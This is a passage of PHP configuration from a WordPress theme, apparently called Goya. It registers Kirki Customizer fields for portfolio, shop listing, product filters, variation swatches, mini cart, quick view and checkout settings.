    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'portfolio_transparent_header', 'label' => esc_html__( 'Single Portfolio Transparent Header', 'goya' ), 'description' => esc_html__( 'Used with Background Featured Media or Hero Title', 'goya' ), 'section' => 'portfolio_single', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'portfolio_title_style', 'operator' => '!=', 'value' => 'regular', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'portfolio_navigation', 'label' => esc_html__( 'Previous/Next Links', 'goya' ), 'section' => 'portfolio_single', 'priority' => 10, 'choices' => array( '' => esc_attr__( 'Disable', 'goya' ), 'simple' => esc_attr__( 'Simple', 'goya' ), 'image' => esc_attr__( 'Background Image', 'goya' ), ), 'default' => 'simple', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'portfolio_related', 'label' => esc_html__( 'Portfolio Related items', 'goya' ), 'section' => 'portfolio_single', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'portfolio_footer', 'label' => esc_html__( 'Show Footer on Portfolios', 'goya' ), 'section' => 'portfolio_single', 'default' => false, 'priority' => 10, )); } // End Portfolio Filter /** * SHOP */ /* General Settings */ Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'shop_header_description', 'label' => esc_html__( 'Main Shop Intro text', 'goya' ), 'section' => 'shop_general', 'priority' => 10, 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_general', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'shop_infinite_load', 'label' => esc_html__( 'Shop Pagination', 'goya' ), 'section' => 'shop_general', 'default' => 'button', 'priority' => 10, 'choices' => array( 'regular' => esc_attr__('Regular', 'goya'), 'button' => esc_attr__('Load More', 'goya'), 'scroll' => esc_attr__('Infinite', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_general', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_catalog_mode', 'label' => esc_html__( 'Catalog Mode', 'goya' ), 'description' => sprintf( '%s', esc_html__( '* Turn off the shopping functionality. All cart buttons and cart icon will be removed', 'goya' ) ), 'section' => 'shop_general', 'default' => false, 'priority' => 10, )); /* Shop Header */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_homepage_title_hide', 'label' => esc_html__( 'Hide main "Shop" title', 'goya' ), 'description' => esc_html__( 'Useful if the Shop is set as homepage', 'goya' ), 'section' => 'shop_header', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_header', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_categories_list', 'label' => esc_html__( 'Show Categories List', 'goya' ), 'section' => 'shop_header', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_categories_list_thumbnail', 'label' => esc_html__( 'Show Category Thumbnail', 'goya' ), 'section' => 'shop_header', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'shop_categories_list', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_header', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'shop_hero_title', 'label' => esc_html__( 'Shop Hero Title', 'goya' ), 'description' => esc_html__( 'Use hero title (big area with custom background) on:', 'goya' ), 'section' => 'shop_header', 'choices' => array( 'none' => esc_attr__('None', 'goya'), 'main-hero' => esc_attr__('Main Shop only', 'goya'), 'shop-hero' => esc_attr__('Product archives (shop, categories, search, tags, etc)', 'goya'), 'all-hero' => esc_attr__('All WooCommerce pages', 'goya'), ), 'default' => 'none', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_header', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'shop_hero_title', 'operator' => '!=', 'value' => 'none', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_transparent_header', 'label' => esc_html__( 'Transparent header', 'goya' ), 'description' => esc_html__( 'For all product archives if hero title is active', 'goya' ), 'section' => 'shop_header', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'shop_hero_title', 'operator' => '!=', 'value' => 'none', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_header', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'shop_hero_title', 'operator' => '!=', 'value' => 'none', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'shop_menu_color', 'label' => esc_html__( 'Header/Description color mode', 'goya' ), 'description' => esc_html__('You can change the color per category on the Category edit page', 'goya'), 'section' => 'shop_header', 'default' => 'dark-title', 'priority' => 10, 'choices' => array( 'dark-title' => esc_attr__('Dark Text', 'goya'), 'light-title' => esc_attr__('Light Text', 'goya'), ), 'required' => array( array( 'setting' => 'shop_hero_title', 'operator' => '!=', 'value' => 'none', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'shop_header_bg_color', 'label' => esc_html__( 'Hero Color Background', 'goya' ), 'description' => esc_html__( 'It can be changed on each Category', 'goya' ), 'section' => 'shop_header', 'default' => '#f8f8f8', 'priority' => 10, 'required' => array( array( 'setting' => 'shop_hero_title', 'operator' => '!=', 'value' => 'none', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_header', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'shop_hero_title', 'operator' => '!=', 'value' => 'none', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'image', 'settings' => 'shop_header_bg_image', 'label' => esc_html__( 'Hero Image Background', 'goya' ), 'description' => esc_html__( 'This image is only for the Main Shop page', 'goya' ), 'section' => 'shop_header', 'priority' => 10, 'default' => '', 'required' => array( array( 'setting' => 'shop_hero_title', 'operator' => '!=', 'value' => 'none', ), ), )); /* Products Listing */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '

    ' .esc_html__( 'Catalog Layout', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'shop_product_listing', 'label' => esc_html__( 'Product style', 'goya' ), 'section' => 'shop_listing', 'default' => 'style1', 'priority' => 10, 'choices' => array( 'style1' => get_template_directory_uri() . '/assets/img/admin/options/shop-style1.png', 'style2' => get_template_directory_uri() . '/assets/img/admin/options/shop-style2.png', 'style3' => get_template_directory_uri() . '/assets/img/admin/options/shop-style3.png', 'style4' => get_template_directory_uri() . '/assets/img/admin/options/shop-style4.png', ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_full_width', 'label' => esc_html__( 'Full-width catalog', 'goya' ), 'description' => esc_html__( 'No padding between content and left/right edges', 'goya' ), 'section' => 'shop_listing', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_product_img_hover', 'label' => esc_html__( 'Additional Image on Hover', 'goya' ), 'section' => 'shop_listing', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'multicheck', 'settings' => 'shop_addtocart_visible', 'label' => esc_html__( 'Add to Cart always visible', 'goya' ), 'description' => esc_html__( 'Keep the add to cart button always visible on', 'goya' ), 'section' => 'shop_listing', 'default' => array(), 'priority' => 10, 'multiple' => 1, 'choices' => array( 'mobile' => esc_attr__('Mobiles', 'goya'), 'desktop' => esc_attr__('Desktops (Product Style 1)', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '

    ' . esc_html__( 'Animations', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'shop_product_animation', 'label' => esc_html__( 'Load animation', 'goya' ), 'transport' => 'postMessage', 'section' => 'shop_listing', 'default' => 'animation bottom-to-top', 'priority' => 10, 'choices' => $goya_animations_list, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'shop_product_animation_hover', 'label' => esc_html__( 'Hover animation', 'goya' ), 'transport' => 'postMessage', 'section' => 'shop_listing', 'default' => 'zoom-jump', 'priority' => 10, 'choices' => array( '' => esc_html__( 'None', 'goya' ), 'zoom' => esc_html__( 'Zoom', 'goya' ), 'jump' => esc_html__( 'Jump', 'goya' ), 'zoom-jump' => esc_html__( 'Zoom + Jump', 'goya' ), ), 'js_vars' => array( array( 'element' => 'li.type-product .product-inner', 'function' => 'toggleClass', 'class' => 'hover-animation-zoom', 'value' => 'zoom', ), array( 'element' => 'li.type-product .product-inner', 'function' => 'toggleClass', 'class' => 'hover-animation-jump', 'value' => 'jump', ), array( 'element' => 'li.type-product .product-inner', 'function' => 'toggleClass', 'class' => 'hover-animation-zoom-jump', 'value' => 'zoom-jump', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '

    ' . esc_html__( 'View Modes', 'goya' ) . '

    ' . esc_html__( 'Grid View icon will appear automatically if you enable one of the following options', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_view_small', 'label' => esc_html__( 'Small Grid icon', 'goya' ), 'description' => esc_html__( 'On large screens only', 'goya' ), 'transport' => 'postMessage', 'section' => 'shop_listing', 'default' => true, 'priority' => 10, 'js_vars' => array( array( 'element' => '.shop-views', 'function' => 'toggleClass', 'class' => 'small-1', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_view_list', 'label' => esc_html__( 'List View icon', 'goya' ), 'transport' => 'postMessage', 'section' => 'shop_listing', 'default' => true, 'priority' => 10, 'js_vars' => array( array( 'element' => '.shop-views', 'function' => 'toggleClass', 'class' => 'list-1', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '

    ' .esc_html__( 'Elements', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_sale_flash', 'label' => esc_html__( '"Sale" Flash Badge', 'goya' ), 'section' => 'shop_listing', 'default' => 'pct', 'priority' => 10, 'choices' => array( 'disabled' => esc_attr__('Disabled', 'goya'), 'txt' => esc_attr__('Text', 'goya'), 'pct' => esc_attr__('Percentage', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_new_badge', 'label' => esc_html__( '"New" Badge', 'goya' ), 'description' => esc_html__( 'Show "New" badge on recent products', 'goya' ), 'section' => 'shop_listing', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'new_badge_duration', 'label' => esc_html__( 'Days to show "New" badge', 'goya' ), 'section' => 'shop_listing', 'default' => 5, 'priority' => 10, 'choices' => array( 'min' => 1, 'max' => 30, 'step' => 1 ), 'required' => array( array( 'setting' => 'product_new_badge', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_outofstock_badge', 'label' => esc_html__( '"Out of Stock" Badge', 'goya' ), 'description' => esc_html__( 'Show "Out of Stock" badge on the catalog', 'goya' ), 'section' => 'shop_listing', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_listing', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'rating_listing', 'label' => esc_html__( 'Rating in Catalog', 'goya' ), 'section' => 'shop_listing', 'default' => false, 'priority' => 10, )); /* Product Filters */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_filters', 'default' => '

    ' .esc_html__( 'Sidebar/Filters', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_filters', 'label' => esc_html__( 'Enable Sidebar/Filters', 'goya' ), 'description' => esc_html__( 'It can display other widgets but it\'s intended for filters', 'goya' ), 'section' => 'shop_filters', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_filters', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'shop_filter_position', 'label' => esc_html__( 'Shop Filters Position', 'goya' ), 'description' => esc_html__( '1.Top, 2.Sidebar, 3.Off-canvas', 'goya' ), 'section' => 'shop_filters', 'default' => 'header', 'priority' => 10, 'choices' => array( 'header' => get_template_directory_uri() . '/assets/img/admin/options/filter-top.png', 'sidebar' => get_template_directory_uri() . '/assets/img/admin/options/filter-side.png', 'popup' => get_template_directory_uri() . '/assets/img/admin/options/filter-offcanvas.png', ), /*'required' => array( array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ), ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_filters', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'shop_filter_position', 'operator' => '==', 'value' => 'sidebar', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'shop_filters_sidebar_width', 'label' => esc_html__( 'Max width of side bar', 'goya' ), 'transport' => 'auto', 'section' => 'shop_filters', 'default' => 350, 'priority' => 10, 'choices' => array( 'min' => 200, 'max' => 400, 'step' => 1 ), 'required' => array( /*array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ),*/ array( 'setting' => 'shop_filter_position', 'operator' => '==', 'value' => 'sidebar', ), ), 'output' => array( array( 'element' => array('.shop-sidebar-col'), 'property' => 'max-width', 'units' => 'px', 'media_query' => '@media all and (min-width:992px)' ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'shop_filters_columns', 'label' => esc_html__( 'Number of Filter Columns', 'goya' ), 'section' => 'shop_filters', 'default' => 4, 'priority' => 10, 'choices' => array( 'min' => 1, 'max' => 6, 'step' => 1 ), /* 'required' => array( array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ), array( 'setting' => 'shop_filter_position', 'operator' => '==', 'value' => 'header', ), ),*/ 'required' => array( array( 'setting' => 'shop_filter_position', 'operator' => '==', 'value' => 'header', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_filters', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_sidebar_sticky', 'label' => esc_html__( 'Sidebar Sticky', 'goya' ), 'description' => esc_html__( 'Keep the sidebar fixed while scrolling', 'goya' ), 'section' => 'shop_filters', 'default' => true, 'priority' => 10, 'required' => array( /*array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ),*/ array( 'setting' => 'shop_filter_position', 'operator' => '==', 'value' => 'sidebar', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_filters', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shop_filters_scrollbar', 'label' => esc_html__( 'Filters Scrollbar', 'goya' ), 'description' => esc_html__( 'Disable if you are using a 3rd party plugin with its own scrolling options', 'goya' ), 'section' => 'shop_filters', 'default' => true, 'priority' => 10, /*'required' => array( array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ), ),*/ )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'shop_filters_height', 'label' => esc_html__( 'Scrollbar Max Height ', 'goya' ), 'section' => 'shop_filters', 'default' => 150, 'priority' => 10, 'choices' => array( 'min' => 40, 'max' => 300, 'step' => 1 ), 'required' => array( /*array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ),*/ array( 'setting' => 'shop_filters_scrollbar', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_filters', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'shop_filters_sidebar_position', 'label' => esc_html__( 'Sidebar Position', 'goya' ), 'section' => 'shop_filters', 'default' => 'left', 'priority' => 10, 'choices' => array( 'left' => esc_attr__( 'Left', 'goya' ), 'right' => esc_attr__( 'Right', 'goya' ), ), 'required' => array( /*array( 'setting' => 'shop_filters', 'operator' => '==', 'value' => true, ),*/ array( 'setting' => 'shop_filter_position', 'operator' => '==', 'value' => 'sidebar', ), ), )); if ( class_exists('Woo_Variation_Swatches') ) { Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_variations', 'default' => '

    ' . esc_html__( 'Variations', 'goya' ) . '

    ' . esc_html__( 'If you have "WooCommerce Variation Swatches PRO" go to the plugin settings to enable the option.', 'goya' ) . '

    ', 'priority' => 10, )); if (!class_exists('Woo_Variation_Swatches_Pro') ) { Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'archive_show_swatches', 'label' => esc_html__( 'Display color/image swatches', 'goya' ), 'description' => esc_html__( 'For catalog pages', 'goya' ), 'section' => 'shop_variations', 'default' => false, 'priority' => 10, )); if ( 'yes' == get_option( 'woocommerce_hide_out_of_stock_items' ) ) { Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'archive_check_variants_stock', 'label' => esc_html__( 'Check variations stock', 'goya' ), 'description' => sprintf( '%s', esc_html__( '* Warning: For small catalogs only, it may slow down your site otherwise', 'goya' ) ), 'section' => 'shop_variations', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'archive_show_swatches', 'operator' => '==', 'value' => true, ), ), )); } Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'archive_show_all_variants', 'label' => esc_html__( 'Display all variations', 'goya' ), 'description' => esc_attr__( 'Display all variations, not just color/image swatches.', 'goya' ), 'section' => 'shop_variations', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'archive_show_swatches', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_variations', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'archive_swatches_position', 'label' => esc_html__( 'Swatches position on desktops', 'goya' ), 'description' => esc_html__( 'For product style 1 and 2 only', 'goya' ), 'transport' => 'postMessage', 'section' => 'shop_variations', 'default' => 'bottom', 'priority' => 10, 'choices' => array( 'bottom' => esc_attr__('Bottom', 'goya'), 'side' => esc_attr__('Side', 'goya') ), 'required' => array( array( 'setting' => 'archive_show_swatches', 'operator' => '==', 'value' => true, ), array( 'setting' => 'archive_show_all_variants', 'operator' => '!=', 'value' => true, ), array( 'setting' => 'shop_product_listing', 'operator' => 'contains', 'value' => array('style1', 'style2'), ), ), )); } } /* Minicart */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'minicart_panel', 'default' => '

    ' .esc_html__( 'Mini Cart', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'header_cart_icon_function', 'label' => esc_html__( 'Cart icon action', 'goya' ), 'description' => esc_html__( 'What will the cart icon do on click?', 'goya' ), 'transport' => 'postMessage', 'section' => 'minicart_panel', 'default' => 'mini-cart', 'priority' => 10, 'choices' => array( 'mini-cart' => esc_attr__('Open Minicart', 'goya'), 'cart-page' => esc_attr__('Go to Cart page', 'goya') ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'minicart_panel', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'open_minicart_automatically', 'label' => esc_html__( 'Open minicart automatically', 'goya' ), 'description' => esc_html__( 'The minicart will open automatically when a product is added to cart ', 'goya' ), 'section' => 'minicart_panel', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'header_cart_icon_function', 'operator' => '==', 'value' => 'mini-cart' ) ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'minicart_panel', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'header_cart_icon', 'label' => esc_html__( 'Icon type', 'goya' ), 'description' => esc_html__( 'Check in the Customizer: Header > Header Layout. It will be also used for \'add to cart\' buttons', 'goya' ), 'transport' => 'postMessage', 'section' => 'minicart_panel', 'default' => 'bag', 'priority' => 10, 'choices' => array( 'cart' => esc_attr__('Cart', 'goya'), 'bag' => esc_attr__('Bag', 'goya') ), 'partial_refresh' => array( 'header_cart_icon_partial' => array( 'selector' => '.quick_cart', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/header-parts/cart' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'minicart_panel', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'header_cart_position', 'label' => esc_html__( 'Cart Open Position', 'goya' ), 'transport' => 'postMessage', 'section' => 'minicart_panel', 'default' => 'side', 'priority' => 10, 'choices' => array( 'side' => get_template_directory_uri() . '/assets/img/admin/options/cart-side.png', 'top' => get_template_directory_uri() . '/assets/img/admin/options/cart-top.png', ), 'required' => array( array( 'setting' => 'header_cart_icon_function', 'operator' => '==', 'value' => 'mini-cart' ) ), 'js_vars' => array( array( 'element' => '#side-cart', 'function' => 'toggleClass', 'class' => 'top', 'value' => 'top', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'header_cart_color', 'label' => esc_html__( 'Cart Panel Color Scheme', 'goya' ), 'transport' => 'postMessage', 'section' => 'minicart_panel', 'default' => 'light', 'priority' => 10, 'choices' => array( 'light' => esc_attr__('Light', 'goya'), 'dark' => esc_attr__('Dark', 'goya') ), 'required' => array( array( 'setting' => 'header_cart_icon_function', 'operator' => '==', 'value' => 'mini-cart' ) ), 'js_vars' => array( array( 'element' => '#side-cart', 'function' => 'toggleClass', 'class' => 'dark', 'value' => 'dark', ), ), )); /* Catalog Quick View */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_quickview', 'label' => esc_html__( 'Show Quick View', 'goya' ), 'section' => 'shop_quickview', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_quickview', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'product_quickview_width', 'label' => esc_html__( 'Quick View max-width', 'goya' ), 'transport' => 'auto', 'section' => 'shop_quickview', 'default' => 960, 'priority' => 10, 'choices' => array ( 'min' => 910, 'max' => 1160, 'step' => 50 ), 'required' => array( array( 'setting' => 'product_quickview', 'operator' => '==', 'value' => true, ), ), 'output' => array( array( 'element' => '.mfp #et-quickview', 'property' => 'max-width', 'units' => 'px', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_quickview', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'product_quickview_summary_layout', 'label' => esc_html__( 'Product Summary Alignment', 'goya' ), 'description' => esc_html__( 'Bottom works better when your images are taller', 'goya' ), 'transport' => 'postMessage', 'section' => 'shop_quickview', 'default' => 'align-top', 'priority' => 10, 'choices' => array( 'align-top' => esc_attr__( 'Top', 'goya' ), 'align-bottom' => esc_attr__( 'Bottom', 'goya' ), ), 'required' => array( array( 'setting' => 'product_quickview', 'operator' => '==', 'value' => true, ), ), 'js_vars' => array( array( 'element' => '.et-qv-summary-content', 'function' => 'toggleClass', 'class' => 'align-top', 'value' => 'align-top', ), array( 'element' => '.et-qv-summary-content', 'function' => 'toggleClass', 'class' => 'align-bottom', 'value' => 'align-bottom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'shop_quickview', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'product_quickview_atc', 'label' => esc_html__( 'Display add-to-cart button', 'goya' ), 'section' => 'shop_quickview', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'product_quickview', 'operator' => '==', 'value' => true, ), ), )); /* Checkout */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'checkout', 'default' => '

    ' .esc_html__( 'Cart', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shopping_cart_auto_update', 'label' => esc_html__( 'Auto update Cart', 'goya' ), 'description' => esc_html__( 'Auto update cart on quantity change. "Update" button will remain hidden.', 'goya' ), 'section' => 'checkout', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'shopping_cart_empty_cart', 'label' => esc_html__( 'Empty Cart button', 'goya' ), 'description' => esc_html__( 'Button to remove all products from the cart.', 'goya' ), 'section' => 'checkout', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'checkout', 'default' => '

    ' .esc_html__( 'Checkout', 'goya' ).'

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'checkout_style', 'label' => esc_html__( 'Checkout mode', 'goya' ), 'description' => esc_html__( '"Distraction Free" removes header and footer on checkout page.', 'goya' ), 'section' => 'checkout', 'default' => 'free', 'priority' => 10, 'choices' => array( 'free' => esc_attr__('Distraction Free', 'goya'), 'regular' => esc_attr__('Classic', 'goya') ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'checkout', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'checkout_terms_popup', 'label' => esc_html__( 'Terms & Conditions Lightbox', 'goya' ), 'description' => esc_html__( 'Display Terms & Conditions in Lightbox', 'goya' ), 'section' => 'checkout', 'default' => true, 'priority' => 10, )); /* Progress Bar */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'progress_bar_enable', 'label' => esc_html__( 'Enable progress bar', 'goya' ), 'description' => esc_html__( 'Show a progress bar on the defined locations', 'goya' ), 'section' => 'shop_progress_bar', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'default' => '
